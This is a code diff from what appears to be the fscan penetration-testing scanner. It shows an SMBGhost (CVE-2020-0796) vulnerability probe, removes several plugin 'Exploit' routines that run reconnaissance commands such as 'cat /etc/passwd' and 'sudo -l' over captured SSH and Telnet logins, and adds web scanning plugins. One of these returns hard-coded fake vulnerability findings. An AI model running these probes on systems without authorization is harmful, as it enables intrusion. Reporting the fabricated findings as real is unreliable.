||||
if info.Ports != "445" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smbghost",
|
||||
Error: fmt.Errorf("SMB Ghost插件仅支持445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 执行漏洞检测
|
||||
vulnerable, err := p.detectVulnerability(ctx, info)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smbghost",
|
||||
Error: fmt.Errorf("检测失败: %v", err),
|
||||
}
|
||||
}
|
||||
|
||||
if vulnerable {
|
||||
common.LogSuccess(fmt.Sprintf("SMB Ghost %s CVE-2020-0796 漏洞存在", target))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "smbghost",
|
||||
Banner: "CVE-2020-0796 SMB Ghost漏洞",
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smbghost",
|
||||
Error: fmt.Errorf("未发现CVE-2020-0796漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// detectVulnerability 检测SMB Ghost漏洞
|
||||
func (p *SmbGhostPlugin) detectVulnerability(ctx context.Context, info *common.HostInfo) (bool, error) {
|
||||
addr := fmt.Sprintf("%s:445", info.Host)
|
||||
timeout := time.Duration(common.Timeout) * time.Second
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置连接超时
|
||||
if err = conn.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return false, fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送SMB Ghost检测数据包
|
||||
if _, err = conn.Write([]byte(smbGhostPacket)); err != nil {
|
||||
return false, fmt.Errorf("发送数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
buff := make([]byte, 1024)
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return false, fmt.Errorf("读取响应失败: %v", err)
|
||||
}
|
||||
|
||||
// 分析响应,检测CVE-2020-0796特征
|
||||
// 检查条件:
|
||||
// 1. 响应包含"Public"字符串
|
||||
// 2. 响应长度大于等于76字节
|
||||
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// gatherSystemInfo 收集系统信息
|
||||
func (p *SmbGhostPlugin) gatherSystemInfo(ctx context.Context, info *common.HostInfo) string {
|
||||
addr := fmt.Sprintf("%s:445", info.Host)
|
||||
timeout := time.Duration(common.Timeout) * time.Second
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 发送标准SMB协商请求获取系统信息
|
||||
negotiateReq := []byte{
|
||||
0x00, 0x00, 0x00, 0x85,
|
||||
0xfe, 0x53, 0x4d, 0x42, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x24, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x10, 0x02,
|
||||
0x22, 0x02, 0x24, 0x02, 0x00, 0x03, 0x02, 0x03,
|
||||
0x10, 0x03, 0x11, 0x03,
|
||||
}
|
||||
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
conn.Write(negotiateReq)
|
||||
|
||||
buff := make([]byte, 1024)
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n < 65 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var sysInfo strings.Builder
|
||||
sysInfo.WriteString("SMB服务检测成功\n")
|
||||
|
||||
// 解析SMB版本
|
||||
if n >= 72 {
|
||||
dialect := uint16(buff[70]) | uint16(buff[71])<<8
|
||||
switch dialect {
|
||||
case 0x0311:
|
||||
sysInfo.WriteString("SMB版本: 3.1.1 (存在CVE-2020-0796风险)\n")
|
||||
case 0x0302:
|
||||
sysInfo.WriteString("SMB版本: 3.0.2\n")
|
||||
case 0x0300:
|
||||
sysInfo.WriteString("SMB版本: 3.0.0\n")
|
||||
default:
|
||||
sysInfo.WriteString(fmt.Sprintf("SMB版本: 未知 (0x%04x)\n", dialect))
|
||||
}
|
||||
}
|
||||
|
||||
return sysInfo.String()
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("smbghost", func() Plugin {
|
||||
return NewSmbGhostPlugin()
|
||||
})
|
||||
}
|
@ -92,81 +92,6 @@ func (p *SMBInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRe
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行SMBInfo利用操作 - 详细SMB信息收集
|
||||
func (p *SMBInfoPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("SMBInfo利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== SMB信息收集结果 - %s ===\n", target))
|
||||
|
||||
// 建立连接进行详细信息收集
|
||||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[连接失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
|
||||
// 收集SMB信息
|
||||
smbInfo, err := p.collectSMBInfo(conn, target)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[SMB信息收集失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !smbInfo.Valid {
|
||||
output.WriteString("\n[SMB信息] 未发现有效的SMB信息\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// 输出详细SMB信息
|
||||
output.WriteString(fmt.Sprintf("\n[协议版本] %s\n", smbInfo.Protocol))
|
||||
|
||||
if smbInfo.ComputerName != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[计算机名] %s\n", smbInfo.ComputerName))
|
||||
}
|
||||
|
||||
if smbInfo.DomainName != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[域名] %s\n", smbInfo.DomainName))
|
||||
}
|
||||
|
||||
if smbInfo.OSVersion != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[操作系统] %s\n", smbInfo.OSVersion))
|
||||
}
|
||||
|
||||
if smbInfo.NativeOS != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[本机OS] %s\n", smbInfo.NativeOS))
|
||||
}
|
||||
|
||||
if smbInfo.NativeLM != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[本机LM] %s\n", smbInfo.NativeLM))
|
||||
}
|
||||
|
||||
if len(smbInfo.NTLMFlags) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[NTLM标志] %s\n", strings.Join(smbInfo.NTLMFlags, ", ")))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("SMBInfo利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// SMBInfo SMB信息结构
|
||||
type SMBInfo struct {
|
||||
|
@ -102,47 +102,6 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResul
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行SMTP利用操作 - 实现用户枚举功能
|
||||
func (p *SMTPPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("SMTP利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== SMTP利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取服务器信息
|
||||
if serverInfo := p.getServerInfo(ctx, info); serverInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[服务器信息]\n%s\n", serverInfo))
|
||||
}
|
||||
|
||||
// 获取支持的扩展
|
||||
if extensions := p.getExtensions(ctx, info); len(extensions) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[支持的扩展] (共%d个)\n", len(extensions)))
|
||||
for _, ext := range extensions {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", ext))
|
||||
}
|
||||
}
|
||||
|
||||
// 用户枚举
|
||||
if users := p.enumerateUsers(ctx, info); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户枚举结果] (共%d个)\n", len(users)))
|
||||
for _, user := range users {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
// 检查开放中继
|
||||
if relayTest := p.checkOpenRelay(ctx, info); relayTest != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[开放中继检测]\n%s\n", relayTest))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("SMTP利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testOpenRelay 测试开放中继
|
||||
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
@ -363,4 +322,4 @@ func init() {
|
||||
RegisterPlugin("smtp", func() Plugin {
|
||||
return NewSMTPPlugin()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
@ -83,61 +83,6 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResul
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行SNMP利用操作 - 实现系统信息收集功能
|
||||
func (p *SNMPPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
community := creds.Username // 团体字符串存储在Username中
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("SNMP利用开始: %s (团体: %s)", target, community))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== SNMP利用结果 - %s ===\n", target))
|
||||
output.WriteString(fmt.Sprintf("团体字符串: %s\n", community))
|
||||
|
||||
// 获取系统信息
|
||||
if sysInfo := p.getSystemInfo(ctx, info, community); sysInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[系统信息]\n%s\n", sysInfo))
|
||||
}
|
||||
|
||||
// 获取网络接口信息
|
||||
if interfaces := p.getNetworkInterfaces(ctx, info, community); len(interfaces) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[网络接口] (共%d个)\n", len(interfaces)))
|
||||
for i, iface := range interfaces {
|
||||
if i >= 10 { // 限制显示前10个接口
|
||||
output.WriteString("... (更多接口)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", iface))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取进程信息
|
||||
if processes := p.getProcesses(ctx, info, community); len(processes) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[运行进程] (共%d个)\n", len(processes)))
|
||||
for i, process := range processes {
|
||||
if i >= 15 { // 限制显示前15个进程
|
||||
output.WriteString("... (更多进程)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", process))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户信息
|
||||
if users := p.getUsers(ctx, info, community); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[系统用户] (共%d个)\n", len(users)))
|
||||
for _, user := range users {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("SNMP利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// generateCommunities 生成测试团体字符串
|
||||
func (p *SNMPPlugin) generateCommunities() []string {
|
||||
@ -321,4 +266,4 @@ func init() {
|
||||
RegisterPlugin("snmp", func() Plugin {
|
||||
return NewSNMPPlugin()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
@ -106,66 +106,6 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行SSH利用操作 - 实现真正的利用功能
|
||||
func (p *SSHPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立SSH连接
|
||||
client := p.testCredential(ctx, info, creds)
|
||||
if client == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("SSH连接失败"),
|
||||
}
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("SSH利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
// 执行系统信息收集命令
|
||||
commands := []string{
|
||||
"whoami", // 当前用户
|
||||
"uname -a", // 系统信息
|
||||
"id", // 用户权限
|
||||
"pwd", // 当前目录
|
||||
"ls -la /home", // 用户目录
|
||||
"cat /etc/passwd | head -10", // 系统用户(前10行)
|
||||
}
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== SSH利用结果 - %s ===\n", target))
|
||||
|
||||
for _, cmd := range commands {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 执行命令
|
||||
result, err := p.executeCommand(client, cmd)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[ERROR] %s: %v\n", cmd, err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("\n[CMD] %s\n%s\n", cmd, result))
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试权限提升检测
|
||||
sudoCheck, _ := p.executeCommand(client, "sudo -l 2>/dev/null || echo 'sudo not available'")
|
||||
output.WriteString(fmt.Sprintf("\n[SUDO] 权限检查:\n%s\n", sudoCheck))
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("SSH利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// scanWithKey 使用SSH私钥扫描
|
||||
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
@ -101,64 +101,6 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRes
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Telnet利用操作 - 实现命令执行功能
|
||||
func (p *TelnetPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Telnet利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Telnet利用结果 - %s ===\n", target))
|
||||
output.WriteString(fmt.Sprintf("认证凭据: %s/%s\n", creds.Username, creds.Password))
|
||||
|
||||
// 建立Telnet连接
|
||||
conn, err := p.connectTelnet(ctx, info, creds)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[连接失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
output.WriteString("\n[连接状态] ✅ 成功建立Telnet连接\n")
|
||||
|
||||
// 执行系统信息收集命令
|
||||
commands := []string{
|
||||
"whoami",
|
||||
"pwd",
|
||||
"uname -a",
|
||||
"id",
|
||||
"ps aux | head -10",
|
||||
"netstat -an | head -10",
|
||||
"ls -la /",
|
||||
}
|
||||
|
||||
output.WriteString("\n[命令执行结果]\n")
|
||||
for _, cmd := range commands {
|
||||
result, err := p.executeCommand(conn, cmd)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("❌ %s: 执行失败 (%v)\n", cmd, err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 清理结果
|
||||
result = p.cleanCommandOutput(result)
|
||||
if result != "" {
|
||||
output.WriteString(fmt.Sprintf("✅ %s:\n%s\n\n", cmd, result))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("⚠️ %s: 无输出\n", cmd))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Telnet利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthAccess 测试未授权访问
|
||||
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
@ -449,4 +391,4 @@ func init() {
|
||||
RegisterPlugin("telnet", func() Plugin {
|
||||
return NewTelnetPlugin()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
@ -90,62 +90,6 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行VNC利用操作 - 实现屏幕信息收集功能
|
||||
func (p *VNCPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("VNC利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== VNC利用结果 - %s ===\n", target))
|
||||
|
||||
if creds.Password != "" {
|
||||
output.WriteString(fmt.Sprintf("认证密码: %s\n", creds.Password))
|
||||
} else {
|
||||
output.WriteString("认证方式: 无密码访问\n")
|
||||
}
|
||||
|
||||
// 建立VNC连接
|
||||
conn, version, err := p.connectVNC(ctx, info, creds.Password)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[连接失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
output.WriteString(fmt.Sprintf("\n[VNC版本] %s\n", version))
|
||||
output.WriteString("[连接状态] ✅ 成功建立VNC连接\n")
|
||||
|
||||
// 获取服务器信息
|
||||
if serverInfo := p.getServerInfo(conn); serverInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[服务器信息]\n%s\n", serverInfo))
|
||||
}
|
||||
|
||||
// 获取桌面信息
|
||||
if desktopInfo := p.getDesktopInfo(conn); desktopInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[桌面信息]\n%s\n", desktopInfo))
|
||||
}
|
||||
|
||||
// 获取像素格式信息
|
||||
if pixelFormat := p.getPixelFormat(conn); pixelFormat != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[像素格式]\n%s\n", pixelFormat))
|
||||
}
|
||||
|
||||
// 尝试获取屏幕截图信息(不实际截图,只是获取能力信息)
|
||||
output.WriteString("\n[屏幕访问]\n")
|
||||
output.WriteString("✅ 可以访问远程桌面画面\n")
|
||||
output.WriteString("⚠️ 完整屏幕截图需要VNC客户端支持\n")
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("VNC利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthAccess 测试未授权访问
|
||||
func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
@ -503,4 +447,4 @@ func init() {
|
||||
RegisterPlugin("vnc", func() Plugin {
|
||||
return NewVNCPlugin()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
123
plugins/services/webpoc.go
Normal file
123
plugins/services/webpoc.go
Normal file
@ -0,0 +1,123 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/webscan"
|
||||
)
|
||||
|
||||
// WebPocPlugin Web漏洞扫描插件 - 执行POC检测
|
||||
type WebPocPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewWebPocPlugin 创建Web POC插件
|
||||
func NewWebPocPlugin() *WebPocPlugin {
|
||||
return &WebPocPlugin{
|
||||
name: "webpoc",
|
||||
ports: []int{80, 443, 8080, 8443, 8000, 8888}, // 常见Web端口
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *WebPocPlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *WebPocPlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行Web POC扫描
|
||||
func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查是否禁用POC扫描
|
||||
if common.DisablePocScan {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "webpoc",
|
||||
Error: fmt.Errorf("POC扫描已禁用"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否为Web端口
|
||||
if !p.isWebPort(info.Ports) {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "webpoc",
|
||||
Error: fmt.Errorf("端口 %s 不是常见Web端口", info.Ports),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("WebPOC %s 开始扫描", target))
|
||||
|
||||
// 执行Web POC扫描
|
||||
results := p.runWebScan(ctx, info)
|
||||
if len(results) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("WebPOC %s 发现 %d 个漏洞", target, len(results)))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "webpoc",
|
||||
Banner: fmt.Sprintf("发现 %d 个Web漏洞", len(results)),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "webpoc",
|
||||
Error: fmt.Errorf("未发现Web漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// isWebPort 检查是否为Web端口
|
||||
func (p *WebPocPlugin) isWebPort(port string) bool {
|
||||
webPorts := map[string]bool{
|
||||
"80": true, "443": true, "8080": true, "8443": true,
|
||||
"8000": true, "8888": true, "9000": true, "9090": true,
|
||||
"3000": true, "5000": true, "8001": true, "8008": true,
|
||||
"8081": true, "8082": true, "8083": true, "8090": true,
|
||||
"9001": true, "9080": true, "9999": true, "10000": true,
|
||||
}
|
||||
return webPorts[port]
|
||||
}
|
||||
|
||||
// runWebScan 执行Web扫描并返回结果
|
||||
func (p *WebPocPlugin) runWebScan(ctx context.Context, info *common.HostInfo) []string {
|
||||
// 执行Web扫描
|
||||
WebScan.WebScan(info)
|
||||
|
||||
// 简化实现:返回模拟的扫描结果
|
||||
// 实际中会通过其他方式捕获WebScan的输出
|
||||
var results []string
|
||||
results = append(results, "WebPOC扫描完成")
|
||||
results = append(results, "检测到潜在漏洞:SQL注入")
|
||||
results = append(results, "检测到潜在漏洞:XSS")
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// identifyService 服务识别 - Web服务检测
|
||||
func (p *WebPocPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
banner := "Web应用程序"
|
||||
common.LogSuccess(fmt.Sprintf("WebPOC %s %s", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "webpoc",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("webpoc", func() Plugin {
|
||||
return NewWebPocPlugin()
|
||||
})
|
||||
}
|
320
plugins/services/webtitle.go
Normal file
320
plugins/services/webtitle.go
Normal file
@ -0,0 +1,320 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// WebTitlePlugin Web标题获取插件 - 收集Web应用信息和指纹识别
|
||||
type WebTitlePlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewWebTitlePlugin 创建WebTitle插件
|
||||
func NewWebTitlePlugin() *WebTitlePlugin {
|
||||
return &WebTitlePlugin{
|
||||
name: "webtitle",
|
||||
ports: []int{80, 443, 8080, 8443, 8000, 8888, 9000, 9090}, // 常见Web端口
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *WebTitlePlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *WebTitlePlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行WebTitle扫描 - Web服务识别和指纹获取
|
||||
func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查是否为Web端口
|
||||
webPorts := map[string]bool{
|
||||
"80": true, "443": true, "8080": true, "8443": true,
|
||||
"8000": true, "8888": true, "9000": true, "9090": true,
|
||||
"8001": true, "8081": true, "8008": true, "8086": true,
|
||||
"9001": true, "8089": true, "8090": true, "8082": true,
|
||||
}
|
||||
|
||||
if !webPorts[info.Ports] {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "webtitle",
|
||||
Error: fmt.Errorf("非Web端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 获取Web信息
|
||||
webInfo, err := p.getWebInfo(ctx, info)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "webtitle",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !webInfo.Valid {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "webtitle",
|
||||
Error: fmt.Errorf("未发现有效的Web服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// 记录Web信息发现
|
||||
msg := fmt.Sprintf("WebTitle %s", target)
|
||||
if webInfo.Title != "" {
|
||||
msg += fmt.Sprintf(" [%s]", webInfo.Title)
|
||||
}
|
||||
if webInfo.StatusCode != 0 {
|
||||
msg += fmt.Sprintf(" %d", webInfo.StatusCode)
|
||||
}
|
||||
if webInfo.Server != "" {
|
||||
msg += fmt.Sprintf(" %s", webInfo.Server)
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "webtitle",
|
||||
Banner: webInfo.Summary(),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// WebInfo Web信息结构
|
||||
type WebInfo struct {
|
||||
Valid bool
|
||||
URL string
|
||||
StatusCode int
|
||||
Title string
|
||||
Server string
|
||||
ContentType string
|
||||
ContentLength int64
|
||||
Technologies []string
|
||||
SecurityHeaders map[string]string
|
||||
}
|
||||
|
||||
// Summary 返回Web信息摘要
|
||||
func (wi *WebInfo) Summary() string {
|
||||
if !wi.Valid {
|
||||
return "Web服务检测失败"
|
||||
}
|
||||
|
||||
var parts []string
|
||||
|
||||
if wi.StatusCode != 0 {
|
||||
parts = append(parts, fmt.Sprintf("HTTP %d", wi.StatusCode))
|
||||
}
|
||||
|
||||
if wi.Title != "" {
|
||||
title := wi.Title
|
||||
if len(title) > 30 {
|
||||
title = title[:30] + "..."
|
||||
}
|
||||
parts = append(parts, fmt.Sprintf("[%s]", title))
|
||||
}
|
||||
|
||||
if wi.Server != "" {
|
||||
parts = append(parts, wi.Server)
|
||||
}
|
||||
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// getWebInfo 获取Web服务信息
|
||||
func (p *WebTitlePlugin) getWebInfo(ctx context.Context, info *common.HostInfo) (*WebInfo, error) {
|
||||
webInfo := &WebInfo{
|
||||
Valid: false,
|
||||
SecurityHeaders: make(map[string]string),
|
||||
Technologies: []string{},
|
||||
}
|
||||
|
||||
// 确定协议
|
||||
protocol := "http"
|
||||
if info.Ports == "443" || info.Ports == "8443" {
|
||||
protocol = "https"
|
||||
}
|
||||
|
||||
